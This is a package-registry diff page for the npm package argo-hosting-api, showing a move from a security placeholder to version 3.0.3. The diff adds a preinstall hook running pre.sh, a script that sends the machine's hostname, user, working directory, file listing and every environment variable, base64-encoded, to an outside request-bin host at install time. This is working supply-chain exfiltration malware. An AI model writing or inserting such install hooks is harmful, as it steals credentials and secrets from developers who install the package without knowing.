argo-hosting-api 0.0.1-security → 3.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of argo-hosting-api might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "hacked"
3
+ }
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "argo-hosting-api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "./pre.sh"
9
+ },
10
+ "author": "paul-tharun"
6
11
  }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "env: $(printenv | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd:$(pwd | base64)" -d $(ls -la | base64) https://enlz8ta5ydpqr.x.pipedream.net/
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=argo-hosting-api for more information.